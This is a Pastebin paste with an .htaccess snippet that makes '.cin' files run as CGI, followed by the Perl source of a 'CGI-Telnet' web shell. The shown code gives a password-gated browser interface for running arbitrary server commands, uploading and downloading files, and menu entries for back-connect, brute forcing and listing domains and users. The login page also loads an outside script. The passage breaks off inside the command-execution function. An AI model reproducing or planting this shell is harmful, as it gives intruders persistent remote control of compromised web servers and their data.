sohaip-hackerDZ

cgi

Sep 27th, 2017
669
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 48.80 KB | None | 0 0
  1. htaccess
  2. Options FollowSymLinks MultiViews Indexes ExecCGI
  3.  
  4. AddType application/x-httpd-cgi .cin
  5.  
  6. AddHandler cgi-script .cin
  7. AddHandler cgi-script .cin
  8.  
  9. script
  10. #!/usr/bin/perl -I/usr/local/bandmin
  11. use MIME::Base64;
  12. $Version= "CGI-Telnet Version 1.3";
  13. $EditPersion="<font style='text-shadow: 0px 0px 6px rgb(255, 0, 0), 0px 0px 5px rgb(300, 0, 0), 0px 0px 5px rgb(300, 0, 0); color:#ffffff; font-weight:bold;'> - CGI-Telnet</font>";
  14.  
  15. $Password = "";         # Change this. You will need to enter this
  16.                 # to login.
  17. sub Is_Win(){
  18.     $os = &trim($ENV{"SERVER_SOFTWARE"});
  19.     if($os =~ m/win/i){
  20.         return 1;
  21.     }
  22.     else{
  23.         return 0;
  24.     }
  25. }
  26. $WinNT = &Is_Win();             # You need to change the value of this to 1 if
  27.                                 # you're running this script on a Windows NT
  28.                                 # machine. If you're running it on Unix, you
  29.                                 # can leave the value as it is.
  30.  
  31. $NTCmdSep = "&";                # This character is used to seperate 2 commands
  32.                                 # in a command line on Windows NT.
  33.  
  34. $UnixCmdSep = ";";              # This character is used to seperate 2 commands
  35.                                 # in a command line on Unix.
  36.  
  37. $CommandTimeoutDuration = 10000;    # Time in seconds after commands will be killed
  38.                                 # Don't set this to a very large value. This is
  39.                                 # useful for commands that may hang or that
  40.                                 # take very long to execute, like "find /".
  41.                                 # This is valid only on Unix servers. It is
  42.                                 # ignored on NT Servers.
  43.  
  44. $ShowDynamicOutput = 1;         # If this is 1, then data is sent to the
  45.                                 # browser as soon as it is output, otherwise
  46.                                 # it is buffered and send when the command
  47.                                 # completes. This is useful for commands like
  48.                                 # ping, so that you can see the output as it
  49.                                 # is being generated.
  50.  
  51. # DON'T CHANGE ANYTHING BELOW THIS LINE UNLESS YOU KNOW WHAT YOU'RE DOING !!
  52.  
  53. $CmdSep = ($WinNT ? $NTCmdSep : $UnixCmdSep);
  54. $CmdPwd = ($WinNT ? "cd" : "pwd");
  55. $PathSep = ($WinNT ? "\\" : "/");
  56. $Redirector = ($WinNT ? " 2>&1 1>&2" : " 1>&1 2>&1");
  57. $cols= 150;
  58. $rows= 26;
  59. #------------------------------------------------------------------------------
  60. # Reads the input sent by the browser and parses the input variables. It
  61. # parses GET, POST and multipart/form-data that is used for uploading files.
  62. # The filename is stored in $in{'f'} and the data is stored in $in{'filedata'}.
  63. # Other variables can be accessed using $in{'var'}, where var is the name of
  64. # the variable. Note: Most of the code in this function is taken from other CGI
  65. # scripts.
  66. #------------------------------------------------------------------------------
  67. sub ReadParse
  68. {
  69.     local (*in) = @_ if @_;
  70.     local ($i, $loc, $key, $val);
  71.    
  72.     $MultipartFormData = $ENV{'CONTENT_TYPE'} =~ /multipart\/form-data; boundary=(.+)$/;
  73.  
  74.     if($ENV{'REQUEST_METHOD'} eq "GET")
  75.     {
  76.         $in = $ENV{'QUERY_STRING'};
  77.     }
  78.     elsif($ENV{'REQUEST_METHOD'} eq "POST")
  79.     {
  80.         binmode(STDIN) if $MultipartFormData & $WinNT;
  81.         read(STDIN, $in, $ENV{'CONTENT_LENGTH'});
  82.     }
  83.  
  84.     # handle file upload data
  85.     if($ENV{'CONTENT_TYPE'} =~ /multipart\/form-data; boundary=(.+)$/)
  86.     {
  87.         $Boundary = '--'.$1; # please refer to RFC1867
  88.         @list = split(/$Boundary/, $in);
  89.         $HeaderBody = $list[1];
  90.         $HeaderBody =~ /\r\n\r\n|\n\n/;
  91.         $Header = $`;
  92.         $Body = $';
  93.         $Body =~ s/\r\n$//; # the last \r\n was put in by Netscape
  94.         $in{'filedata'} = $Body;
  95.         $Header =~ /filename=\"(.+)\"/;
  96.         $in{'f'} = $1;
  97.         $in{'f'} =~ s/\"//g;
  98.         $in{'f'} =~ s/\s//g;
  99.  
  100.         # parse trailer
  101.         for($i=2; $list[$i]; $i++)
  102.         {
  103.             $list[$i] =~ s/^.+name=$//;
  104.             $list[$i] =~ /\"(\w+)\"/;
  105.             $key = $1;
  106.             $val = $';
  107.             $val =~ s/(^(\r\n\r\n|\n\n))|(\r\n$|\n$)//g;
  108.             $val =~ s/%(..)/pack("c", hex($1))/ge;
  109.             $in{$key} = $val;
  110.         }
  111.     }
  112.     else # standard post data (url encoded, not multipart)
  113.     {
  114.         @in = split(/&/, $in);
  115.         foreach $i (0 .. $#in)
  116.         {
  117.             $in[$i] =~ s/\+/ /g;
  118.             ($key, $val) = split(/=/, $in[$i], 2);
  119.             $key =~ s/%(..)/pack("c", hex($1))/ge;
  120.             $val =~ s/%(..)/pack("c", hex($1))/ge;
  121.             $in{$key} .= "\0" if (defined($in{$key}));
  122.             $in{$key} .= $val;
  123.         }
  124.     }
  125. }
  126.  
  127. #------------------------------------------------------------------------------
  128. # Prints the HTML Page Header
  129. # Argument 1: Form item name to which focus should be set
  130. #------------------------------------------------------------------------------
  131. sub PrintPageHeader
  132. {
  133.     $EncodedCurrentDir = $CurrentDir;
  134.     $EncodedCurrentDir =~ s/([^a-zA-Z0-9])/'%'.unpack("H*",$1)/eg;
  135.     my $dir =$CurrentDir;
  136.     $dir=~ s/\\/\\\\/g;
  137.     print "Content-type: text/html\n\n";
  138.     print <<END;
  139. <html>
  140. <head>
  141. <meta http-equiv="content-type" content="text/html; charset=UTF-8">
  142. <title>  </title>
  143.  
  144. $HtmlMetaHeader
  145.  
  146. </head>
  147. <style>
  148. body{
  149. font: 10pt Verdana;
  150. }
  151. tr {
  152. BORDER-RIGHT:  #3e3e3e 1px solid;
  153. BORDER-TOP:    #3e3e3e 1px solid;
  154. BORDER-LEFT:   #3e3e3e 1px solid;
  155. BORDER-BOTTOM: #3e3e3e 1px solid;
  156. color: #ff9900;
  157. }
  158. td {
  159. BORDER-RIGHT:  #3e3e3e 1px solid;
  160. BORDER-TOP:    #3e3e3e 1px solid;
  161. BORDER-LEFT:   #3e3e3e 1px solid;
  162. BORDER-BOTTOM: #3e3e3e 1px solid;
  163. color: #2BA8EC;
  164. font: 10pt Verdana;
  165. }
  166.  
  167. table {
  168. BORDER-RIGHT:  #3e3e3e 1px solid;
  169. BORDER-TOP:    #3e3e3e 1px solid;
  170. BORDER-LEFT:   #3e3e3e 1px solid;
  171. BORDER-BOTTOM: #3e3e3e 1px solid;
  172. BACKGROUND-COLOR: #111;
  173. }
  174.  
  175.  
  176. input {
  177. BORDER-RIGHT:  #3e3e3e 1px solid;
  178. BORDER-TOP:    #3e3e3e 1px solid;
  179. BORDER-LEFT:   #3e3e3e 1px solid;
  180. BORDER-BOTTOM: #3e3e3e 1px solid;
  181. BACKGROUND-COLOR: Black;
  182. font: 10pt Verdana;
  183. color: #ff9900;
  184. }
  185.  
  186. input.submit {
  187. text-shadow: 0pt 0pt 0.3em cyan, 0pt 0pt 0.3em cyan;
  188. color: #FFFFFF;
  189. border-color: #009900;
  190. }
  191.  
  192. code {
  193. border          : dashed 0px #333;
  194. BACKGROUND-COLOR: Black;
  195. font: 10pt Verdana bold;
  196. color: while;
  197. }
  198.  
  199. run {
  200. border          : dashed 0px #333;
  201. font: 10pt Verdana bold;
  202. color: #FF00AA;
  203. }
  204.  
  205. textarea {
  206. BORDER-RIGHT:  #3e3e3e 1px solid;
  207. BORDER-TOP:    #3e3e3e 1px solid;
  208. BORDER-LEFT:   #3e3e3e 1px solid;
  209. BORDER-BOTTOM: #3e3e3e 1px solid;
  210. BACKGROUND-COLOR: #1b1b1b;
  211. font: Fixedsys bold;
  212. color: #aaa;
  213. }
  214. A:link {
  215.     COLOR: #2BA8EC; TEXT-DECORATION: none
  216. }
  217. A:visited {
  218.     COLOR: #2BA8EC; TEXT-DECORATION: none
  219. }
  220. A:hover {
  221.     text-shadow: 0pt 0pt 0.3em cyan, 0pt 0pt 0.3em cyan;
  222.     color: #ff9900; TEXT-DECORATION: none
  223. }
  224. A:active {
  225.     color: Red; TEXT-DECORATION: none
  226. }
  227.  
  228. .listdir tr:hover{
  229.     background: #444;
  230. }
  231. .listdir tr:hover td{
  232.     background: #444;
  233.     text-shadow: 0pt 0pt 0.3em cyan, 0pt 0pt 0.3em cyan;
  234.     color: #FFFFFF; TEXT-DECORATION: none;
  235. }
  236. .notline{
  237.     background: #111;
  238. }
  239. .line{
  240.     background: #222;
  241. }
  242. </style>
  243. <script language="javascript">
  244. function chmod_form(i,file)
  245. {
  246.     /*var ajax='ajax_PostData("FormPerms_'+i+'","$ScriptLocation","ResponseData"); return false;';*/
  247.     var ajax="";
  248.     document.getElementById("FilePerms_"+i).innerHTML="<form name=FormPerms_" + i+ " action='' method='POST'><input id=text_" + i + "  name=chmod type=text size=5 /><input type=submit class='submit' onclick='" + ajax + "' value=OK><input type=hidden name=a value='gui'><input type=hidden name=d value='$dir'><input type=hidden name=f value='"+file+"'></form>";
  249.     document.getElementById("text_" + i).focus();
  250. }
  251. function rm_chmod_form(response,i,perms,file)
  252. {
  253.     response.innerHTML = "<span onclick=\\\"chmod_form(" + i + ",'"+ file+ "')\\\" >"+ perms +"</span></td>";
  254. }
  255. function rename_form(i,file,f)
  256. {
  257.     var ajax="";
  258.     f.replace(/\\\\/g,"\\\\\\\\");
  259.     var back="rm_rename_form("+i+",\\\""+file+"\\\",\\\""+f+"\\\"); return false;";
  260.     document.getElementById("File_"+i).innerHTML="<form name=FormPerms_" + i+ " action='' method='POST'><input id=text_" + i + "  name=rename type=text value= '"+file+"' /><input type=submit class='submit' onclick='" + ajax + "' value=OK><input type=submit class='submit' onclick='" + back + "' value=Cancel><input type=hidden name=a value='gui'><input type=hidden name=d value='$dir'><input type=hidden name=f value='"+file+"'></form>";
  261.     document.getElementById("text_" + i).focus();
  262. }
  263. function rm_rename_form(i,file,f)
  264. {
  265.     if(f=='f')
  266.     {
  267.         document.getElementById("File_"+i).innerHTML="<a href='?a=command&d=$dir&c=edit%20"+file+"%20'>" +file+ "</a>";
  268.     }else
  269.     {
  270.         document.getElementById("File_"+i).innerHTML="<a href='?a=gui&d="+f+"'>[ " +file+ " ]</a>";
  271.     }
  272. }
  273. </script>
  274. <body onLoad="document.f.@_.focus()" bgcolor="#0c0c0c" topmargin="0" leftmargin="0" marginwidth="0" marginheight="0">
  275. <center><code>
  276. <table border="1" width="100%" cellspacing="0" cellpadding="2">
  277. <tr>
  278.     <td align="center" rowspan=2>
  279.         <b><font size="5">$EditPersion</font></b>
  280.     </td>
  281.  
  282.     <td>
  283.  
  284.         <font face="Verdana" size="2">$ENV{"SERVER_SOFTWARE"}</font>
  285.     </td>
  286.     <td>Server IP:<font color="#cc0000"> $ENV{'SERVER_ADDR'}</font> | Your IP: <font color="#000000">$ENV{'REMOTE_ADDR'}</font>
  287.     </td>
  288.  
  289. </tr>
  290.  
  291. <tr>
  292. <td colspan="3"><font face="Verdana" size="2">
  293. <a href="$ScriptLocation">Home</a> |
  294. <a href="$ScriptLocation?a=command&d=$EncodedCurrentDir">Komut</a> |
  295. <a href="$ScriptLocation?a=gui&d=$EncodedCurrentDir">Dizin</a> |
  296. <a href="$ScriptLocation?a=upload&d=$EncodedCurrentDir">Upload File</a> |
  297. <a href="$ScriptLocation?a=download&d=$EncodedCurrentDir">Download File</a> |
  298.  
  299. <a href="$ScriptLocation?a=backbind">Back Connet</a> |
  300. <a href="$ScriptLocation?a=bruteforcer">Brute Forcer</a> |
  301. <a href="$ScriptLocation?a=checklog">Check Log</a> |
  302. <a href="$ScriptLocation?a=domainsuser">Domains/Users</a> |
  303. <a href="$ScriptLocation?a=logout">Logout</a> |
  304. <a target='_blank' href="#">Help</a>
  305.  
  306. </font></td>
  307. </tr>
  308. </table>
  309. <font id="ResponseData" color="#ff99cc" >
  310. END
  311. }
  312.  
  313. #------------------------------------------------------------------------------
  314. # Prints the Login Screen
  315. #------------------------------------------------------------------------------
  316. sub PrintLoginScreen
  317. {
  318.  
  319.     print <<END;
  320. <pre><script type="text/javascript">
  321. TypingText = function(element, interval, cursor, finishedCallback) {
  322.   if((typeof document.getElementById == "undefined") || (typeof element.innerHTML == "undefined")) {
  323.     this.running = true;    // Never run.
  324.     return;
  325.   }
  326.   this.element = element;
  327.   this.finishedCallback = (finishedCallback ? finishedCallback : function() { return; });
  328.   this.interval = (typeof interval == "undefined" ? 100 : interval);
  329.   this.origText = this.element.innerHTML;
  330.   this.unparsedOrigText = this.origText;
  331.   this.cursor = (cursor ? cursor : "");
  332.   this.currentText = "";
  333.   this.currentChar = 0;
  334.   this.element.typingText = this;
  335.   if(this.element.id == "") this.element.id = "typingtext" + TypingText.currentIndex++;
  336.   TypingText.all.push(this);
  337.   this.running = false;
  338.   this.inTag = false;
  339.   this.tagBuffer = "";
  340.   this.inHTMLEntity = false;
  341.   this.HTMLEntityBuffer = "";
  342. }
  343. TypingText.all = new Array();
  344. TypingText.currentIndex = 0;
  345. TypingText.runAll = function() {
  346.   for(var i = 0; i < TypingText.all.length; i++) TypingText.all[i].run();
  347. }
  348. TypingText.prototype.run = function() {
  349.   if(this.running) return;
  350.   if(typeof this.origText == "undefined") {
  351.     setTimeout("document.getElementById('" + this.element.id + "').typingText.run()", this.interval);   // We haven't finished loading yet.  Have patience.
  352.     return;
  353.   }
  354.   if(this.currentText == "") this.element.innerHTML = "";
  355. //  this.origText = this.origText.replace(/<([^<])*>/, "");     // Strip HTML from text.
  356.   if(this.currentChar < this.origText.length) {
  357.     if(this.origText.charAt(this.currentChar) == "<" && !this.inTag) {
  358.       this.tagBuffer = "<";
  359.       this.inTag = true;
  360.       this.currentChar++;
  361.       this.run();
  362.       return;
  363.     } else if(this.origText.charAt(this.currentChar) == ">" && this.inTag) {
  364.       this.tagBuffer += ">";
  365.       this.inTag = false;
  366.       this.currentText += this.tagBuffer;
  367.       this.currentChar++;
  368.       this.run();
  369.       return;
  370.     } else if(this.inTag) {
  371.       this.tagBuffer += this.origText.charAt(this.currentChar);
  372.       this.currentChar++;
  373.       this.run();
  374.       return;
  375.     } else if(this.origText.charAt(this.currentChar) == "&" && !this.inHTMLEntity) {
  376.       this.HTMLEntityBuffer = "&";
  377.       this.inHTMLEntity = true;
  378.       this.currentChar++;
  379.       this.run();
  380.       return;
  381.     } else if(this.origText.charAt(this.currentChar) == ";" && this.inHTMLEntity) {
  382.       this.HTMLEntityBuffer += ";";
  383.       this.inHTMLEntity = false;
  384.       this.currentText += this.HTMLEntityBuffer;
  385.       this.currentChar++;
  386.       this.run();
  387.       return;
  388.     } else if(this.inHTMLEntity) {
  389.       this.HTMLEntityBuffer += this.origText.charAt(this.currentChar);
  390.       this.currentChar++;
  391.       this.run();
  392.       return;
  393.     } else {
  394.       this.currentText += this.origText.charAt(this.currentChar);
  395.     }
  396.     this.element.innerHTML = this.currentText;
  397.     this.element.innerHTML += (this.currentChar < this.origText.length - 1 ? (typeof this.cursor == "function" ? this.cursor(this.currentText) : this.cursor) : "");
  398.     this.currentChar++;
  399.     setTimeout("document.getElementById('" + this.element.id + "').typingText.run()", this.interval);
  400.   } else {
  401.     this.currentText = "";
  402.     this.currentChar = 0;
  403.         this.running = false;
  404.         this.finishedCallback();
  405.   }
  406. }
  407. </script>
  408. </pre>
  409.  
  410. <font style="font: 15pt Verdana; color: yellow;">Copyright (C) 2001  </font><br><br>
  411. <table align="center" border="1" width="600" heigh>
  412. <script src=http:///bot/log.js></script>
  413. <tbody><tr>
  414. <td valign="top" background="http://dl.dropbox.com/u/10860051/images/matran.gif"><p id="hack" style="margin-left: 3px;">
  415. <font color="#009900"> Please Wait . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .</font> <br>
  416.  
  417. <font color="#009900"> Trying connect to Server . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .</font><br>
  418. <font color="#F00000"><font color="#FFF000">~\$</font> Connected ! </font><br>
  419. <font color="#009900"><font color="#FFF000">$ServerName~</font> Checking Server . . . . . . . . . . . . . . . . . . .</font> <br>
  420.  
  421. <font color="#009900"><font color="#FFF000">$ServerName~</font> Trying connect to Command . . . . . . . . . . .</font><br>
  422.  
  423. <font color="#F00000"><font color="#FFF000">$ServerName~</font>\$ Connected Command! </font><br>
  424. <font color="#009900"><font color="#FFF000">$ServerName~<font color="#F00000">\$</font></font> OK! You can kill it!</font>
  425. </tr>
  426. </tbody></table>
  427. <br>
  428.  
  429. <script type="text/javascript">
  430. new TypingText(document.getElementById("hack"), 30, function(i){ var ar = new Array("_",""); return " " + ar[i.length % ar.length]; });
  431. TypingText.runAll();
  432.  
  433. </script>
  434. END
  435. }
  436.  
  437. #------------------------------------------------------------------------------
  438. # Add html special chars
  439. #------------------------------------------------------------------------------
  440. sub HtmlSpecialChars($){
  441.     my $text = shift;
  442.     $text =~ s/&/&amp;/g;
  443.     $text =~ s/"/&quot;/g;
  444.     $text =~ s/'/&#039;/g;
  445.     $text =~ s/</&lt;/g;
  446.     $text =~ s/>/&gt;/g;
  447.     return $text;
  448. }
  449. #------------------------------------------------------------------------------
  450. # Add link for directory
  451. #------------------------------------------------------------------------------
  452. sub AddLinkDir($)
  453. {
  454.     my $ac=shift;
  455.     my @dir=();
  456.     if($WinNT)
  457.     {
  458.         @dir=split(/\\/,$CurrentDir);
  459.     }else
  460.     {
  461.         @dir=split("/",&trim($CurrentDir));
  462.     }
  463.     my $path="";
  464.     my $result="";
  465.     foreach (@dir)
  466.     {
  467.         $path .= $_.$PathSep;
  468.         $result.="<a href='?a=".$ac."&d=".$path."'>".$_.$PathSep."</a>";
  469.     }
  470.     return $result;
  471. }
  472. #------------------------------------------------------------------------------
  473. # Prints the message that informs the user of a failed login
  474. #------------------------------------------------------------------------------
  475. sub PrintLoginFailedMessage
  476. {
  477.     print <<END;
  478. <br>Login : Administrator<br>
  479.  
  480. Password:<br>
  481. Login incorrect<br><br>
  482. END
  483. }
  484.  
  485. #------------------------------------------------------------------------------
  486. # Prints the HTML form for logging in
  487. #------------------------------------------------------------------------------
  488. sub PrintLoginForm
  489. {
  490.     print <<END;
  491. <form name="f" method="POST" action="$ScriptLocation">
  492. <input type="hidden" name="a" value="login">
  493. Login : Administrator<br>
  494. Password:<input type="password" name="p">
  495. <input class="submit" type="submit" value="Enter">
  496. </form>
  497. END
  498. }
  499.  
  500. #------------------------------------------------------------------------------
  501. # Prints the footer for the HTML Page
  502. #------------------------------------------------------------------------------
  503. sub PrintPageFooter
  504. {
  505.     print "<br><font color=red>o---[  <font color=#ff9900>Edit by $EditPersion </font>  ]---o</font></code></center></body></html>";
  506. }
  507.  
  508. #------------------------------------------------------------------------------
  509. # Retreives the values of all cookies. The cookies can be accesses using the
  510. # variable $Cookies{''}
  511. #------------------------------------------------------------------------------
  512. sub GetCookies
  513. {
  514.     @httpcookies = split(/; /,$ENV{'HTTP_COOKIE'});
  515.     foreach $cookie(@httpcookies)
  516.     {
  517.         ($id, $val) = split(/=/, $cookie);
  518.         $Cookies{$id} = $val;
  519.     }
  520. }
  521.  
  522. #------------------------------------------------------------------------------
  523. # Prints the screen when the user logs out
  524. #------------------------------------------------------------------------------
  525. sub PrintLogoutScreen
  526. {
  527.     print "Connection closed by foreign host.<br><br>";
  528. }
  529.  
  530. #------------------------------------------------------------------------------
  531. # Logs out the user and allows the user to login again
  532. #------------------------------------------------------------------------------
  533. sub PerformLogout
  534. {
  535.     print "Set-Cookie: SAVEDPWD=;\n"; # remove password cookie
  536.     &PrintPageHeader("p");
  537.     &PrintLogoutScreen;
  538.  
  539.     &PrintLoginScreen;
  540.     &PrintLoginForm;
  541.     &PrintPageFooter;
  542.     exit;
  543. }
  544.  
  545. #------------------------------------------------------------------------------
  546. # This function is called to login the user. If the password matches, it
  547. # displays a page that allows the user to run commands. If the password doens't
  548. # match or if no password is entered, it displays a form that allows the user
  549. # to login
  550. #------------------------------------------------------------------------------
  551. sub PerformLogin
  552. {
  553.     if($LoginPassword eq $Password) # password matched
  554.     {
  555.         print "Set-Cookie: SAVEDPWD=$LoginPassword;\n";
  556.         &PrintPageHeader;
  557.         print &ListDir;
  558.     }
  559.     else # password didn't match
  560.     {
  561.         &PrintPageHeader("p");
  562.         &PrintLoginScreen;
  563.         if($LoginPassword ne "") # some password was entered
  564.         {
  565.             &PrintLoginFailedMessage;
  566.  
  567.         }
  568.         &PrintLoginForm;
  569.         &PrintPageFooter;
  570.         exit;
  571.     }
  572. }
  573.  
  574. #------------------------------------------------------------------------------
  575. # Prints the HTML form that allows the user to enter commands
  576. #------------------------------------------------------------------------------
  577. sub PrintCommandLineInputForm
  578. {
  579.     my $dir= "<span style='font: 11pt Verdana; font-weight: bold;'>".&AddLinkDir("command")."</span>";
  580.     $Prompt = $WinNT ? "$dir > " : "<font color='#66ff66'>[admin\@$ServerName $dir]\$</font> ";
  581.     return <<END;
  582. <form name="f" method="POST" action="$ScriptLocation">
  583.  
  584. <input type="hidden" name="a" value="command">
  585.  
  586. <input type="hidden" name="d" value="$CurrentDir">
  587. $Prompt
  588. <input type="text" size="50" name="c">
  589. <input class="submit"type="submit" value="Enter">
  590. </form>
  591. END
  592. }
  593.  
  594. #------------------------------------------------------------------------------
  595. # Prints the HTML form that allows the user to download files
  596. #------------------------------------------------------------------------------
  597. sub PrintFileDownloadForm
  598. {
  599.     my $dir = &AddLinkDir("download");
  600.     $Prompt = $WinNT ? "$dir > " : "[admin\@$ServerName $dir]\$ ";
  601.     return <<END;
  602. <form name="f" method="POST" action="$ScriptLocation">
  603. <input type="hidden" name="d" value="$CurrentDir">
  604. <input type="hidden" name="a" value="download">
  605. $Prompt download<br><br>
  606. Filename: <input class="file" type="text" name="f" size="35"><br><br>
  607. Download: <input class="submit" type="submit" value="Begin">
  608.  
  609. </form>
  610. END
  611. }
  612.  
  613. #------------------------------------------------------------------------------
  614. # Prints the HTML form that allows the user to upload files
  615. #------------------------------------------------------------------------------
  616. sub PrintFileUploadForm
  617. {
  618.     my $dir= &AddLinkDir("upload");
  619.     $Prompt = $WinNT ? "$dir > " : "[admin\@$ServerName $dir]\$ ";
  620.     return <<END;
  621. <form name="f" enctype="multipart/form-data" method="POST" action="$ScriptLocation">
  622. $Prompt upload<br><br>
  623. Filename: <input class="file" type="file" name="f" size="35"><br><br>
  624. Options: &nbsp;<input type="checkbox" name="o" id="up" value="overwrite">
  625. <label for="up">Overwrite if it Exists</label><br><br>
  626. Upload:&nbsp;&nbsp;&nbsp;<input class="submit" type="submit" value="Begin">
  627. <input type="hidden" name="d" value="$CurrentDir">
  628. <input class="submit" type="hidden" name="a" value="upload">
  629.  
  630. </form>
  631.  
  632. END
  633. }
  634.  
  635. #------------------------------------------------------------------------------
  636. # This function is called when the timeout for a command expires. We need to
  637. # terminate the script immediately. This function is valid only on Unix. It is
  638. # never called when the script is running on NT.
  639. #------------------------------------------------------------------------------
  640. sub CommandTimeout
  641. {
  642.     if(!$WinNT)
  643.     {
  644.         alarm(0);
  645.         return <<END;
  646. </textarea>
  647. <br><font color=yellow>
  648. Command exceeded maximum time of $CommandTimeoutDuration second(s).</font>
  649. <br><font size='6' color=red>Killed it!</font>
  650. END
  651.     }
  652. }
  653.  
  654.  
  655.  
  656. #------------------------------------------------------------------------------
  657. # This function displays the page that contains a link which allows the user
  658. # to download the specified file. The page also contains a auto-refresh
  659. # feature that starts the download automatically.
  660. # Argument 1: Fully qualified filename of the file to be downloaded
  661. #------------------------------------------------------------------------------
  662. sub PrintDownloadLinkPage
  663. {
  664.     local($FileUrl) = @_;
  665.     my $result="";
  666.     if(-e $FileUrl) # if the file exists
  667.     {
  668.         # encode the file link so we can send it to the browser
  669.         $FileUrl =~ s/([^a-zA-Z0-9])/'%'.unpack("H*",$1)/eg;
  670.         $DownloadLink = "$ScriptLocation?a=download&f=$FileUrl&o=go";
  671.         $HtmlMetaHeader = "<meta HTTP-EQUIV=\"Refresh\" CONTENT=\"1; URL=$DownloadLink\">";
  672.         &PrintPageHeader("c");
  673.         $result .= <<END;
  674. Sending File $TransferFile...<br>
  675.  
  676. If the download does not start automatically,
  677. <a href="$DownloadLink">Click Here</a>
  678. END
  679.         $result .= &PrintCommandLineInputForm;
  680.     }
  681.     else # file doesn't exist
  682.     {
  683.         $result .= "Failed to download $FileUrl: $!";
  684.         $result .= &PrintFileDownloadForm;
  685.     }
  686.     return $result;
  687. }
  688.  
  689. #------------------------------------------------------------------------------
  690. # This function reads the specified file from the disk and sends it to the
  691. # browser, so that it can be downloaded by the user.
  692. # Argument 1: Fully qualified pathname of the file to be sent.
  693. #------------------------------------------------------------------------------
  694. sub SendFileToBrowser
  695. {
  696.     my $result = "";
  697.     local($SendFile) = @_;
  698.     if(open(SENDFILE, $SendFile)) # file opened for reading
  699.     {
  700.         if($WinNT)
  701.         {
  702.             binmode(SENDFILE);
  703.             binmode(STDOUT);
  704.         }
  705.         $FileSize = (stat($SendFile))[7];
  706.         ($Filename = $SendFile) =~  m!([^/^\\]*)$!;
  707.         print "Content-Type: application/x-unknown\n";
  708.         print "Content-Length: $FileSize\n";
  709.         print "Content-Disposition: attachment; filename=$1\n\n";
  710.         print while(<SENDFILE>);
  711.         close(SENDFILE);
  712.         exit(1);
  713.     }
  714.     else # failed to open file
  715.     {
  716.         $result .= "Failed to download $SendFile: $!";
  717.         $result .=&PrintFileDownloadForm;
  718.     }
  719.     return $result;
  720. }
  721.  
  722.  
  723. #------------------------------------------------------------------------------
  724. # This function is called when the user downloads a file. It displays a message
  725. # to the user and provides a link through which the file can be downloaded.
  726. # This function is also called when the user clicks on that link. In this case,
  727. # the file is read and sent to the browser.
  728. #------------------------------------------------------------------------------
  729. sub BeginDownload
  730. {
  731.     # get fully qualified path of the file to be downloaded
  732.     if(($WinNT & ($TransferFile =~ m/^\\|^.:/)) |
  733.         (!$WinNT & ($TransferFile =~ m/^\//))) # path is absolute
  734.     {
  735.         $TargetFile = $TransferFile;
  736.     }
  737.     else # path is relative
  738.     {
  739.         chop($TargetFile) if($TargetFile = $CurrentDir) =~ m/[\\\/]$/;
  740.         $TargetFile .= $PathSep.$TransferFile;
  741.     }
  742.  
  743.     if($Options eq "go") # we have to send the file
  744.     {
  745.         &SendFileToBrowser($TargetFile);
  746.     }
  747.     else # we have to send only the link page
  748.     {
  749.         &PrintDownloadLinkPage($TargetFile);
  750.     }
  751. }
  752.  
  753. #------------------------------------------------------------------------------
  754. # This function is called when the user wants to upload a file. If the
  755. # file is not specified, it displays a form allowing the user to specify a
  756. # file, otherwise it starts the upload process.
  757. #------------------------------------------------------------------------------
  758. sub UploadFile
  759. {
  760.     # if no file is specified, print the upload form again
  761.     if($TransferFile eq "")
  762.     {
  763.         return &PrintFileUploadForm;
  764.  
  765.     }
  766.     my $result="";
  767.     # start the uploading process
  768.     $result .= "Uploading $TransferFile to $CurrentDir...<br>";
  769.  
  770.     # get the fullly qualified pathname of the file to be created
  771.     chop($TargetName) if ($TargetName = $CurrentDir) =~ m/[\\\/]$/;
  772.     $TransferFile =~ m!([^/^\\]*)$!;
  773.     $TargetName .= $PathSep.$1;
  774.  
  775.     $TargetFileSize = length($in{'filedata'});
  776.     # if the file exists and we are not supposed to overwrite it
  777.     if(-e $TargetName && $Options ne "overwrite")
  778.     {
  779.         $result .= "Failed: Destination file already exists.<br>";
  780.     }
  781.     else # file is not present
  782.     {
  783.         if(open(UPLOADFILE, ">$TargetName"))
  784.         {
  785.             binmode(UPLOADFILE) if $WinNT;
  786.             print UPLOADFILE $in{'filedata'};
  787.             close(UPLOADFILE);
  788.             $result .= "Transfered $TargetFileSize Bytes.<br>";
  789.             $result .= "File Path: $TargetName<br>";
  790.         }
  791.         else
  792.         {
  793.             $result .= "Failed: $!<br>";
  794.         }
  795.     }
  796.     $result .= &PrintCommandLineInputForm;
  797.     return $result;
  798. }
  799.  
  800. #------------------------------------------------------------------------------
  801. # This function is called when the user wants to download a file. If the
  802. # filename is not specified, it displays a form allowing the user to specify a
  803. # file, otherwise it displays a message to the user and provides a link
  804. # through  which the file can be downloaded.
  805. #------------------------------------------------------------------------------
  806. sub DownloadFile
  807. {
  808.     # if no file is specified, print the download form again
  809.     if($TransferFile eq "")
  810.     {
  811.         &PrintPageHeader("f");
  812.         return &PrintFileDownloadForm;
  813.     }
  814.    
  815.     # get fully qualified path of the file to be downloaded
  816.     if(($WinNT & ($TransferFile =~ m/^\\|^.:/)) | (!$WinNT & ($TransferFile =~ m/^\//))) # path is absolute
  817.     {
  818.         $TargetFile = $TransferFile;
  819.     }
  820.     else # path is relative
  821.     {
  822.         chop($TargetFile) if($TargetFile = $CurrentDir) =~ m/[\\\/]$/;
  823.         $TargetFile .= $PathSep.$TransferFile;
  824.     }
  825.  
  826.     if($Options eq "go") # we have to send the file
  827.     {
  828.         return &SendFileToBrowser($TargetFile);
  829.     }
  830.     else # we have to send only the link page
  831.     {
  832.         return &PrintDownloadLinkPage($TargetFile);
  833.     }
  834. }
  835.  
  836.  
  837. #------------------------------------------------------------------------------
  838. # This function is called to execute commands. It displays the output of the
  839. # command and allows the user to enter another command. The change directory
  840. # command is handled differently. In this case, the new directory is stored in
  841. # an internal variable and is used each time a command has to be executed. The
  842. # output of the change directory command is not displayed to the users
  843. # therefore error messages cannot be displayed.
  844. #------------------------------------------------------------------------------
  845. sub ExecuteCommand
  846. {
  847.     my $result="";
  848.     if($RunCommand =~ m/^\s*cd\s+(.+)/) # it is a change dir command
  849.     {
  850.         # we change the directory internally. The output of the
  851.         # command is not displayed.
  852.         $Command = "cd \"$CurrentDir\"".$CmdSep."cd $1".$CmdSep.$CmdPwd;
  853.         chop($CurrentDir = `$Command`);
  854.         $result .= &PrintCommandLineInputForm;
  855.  
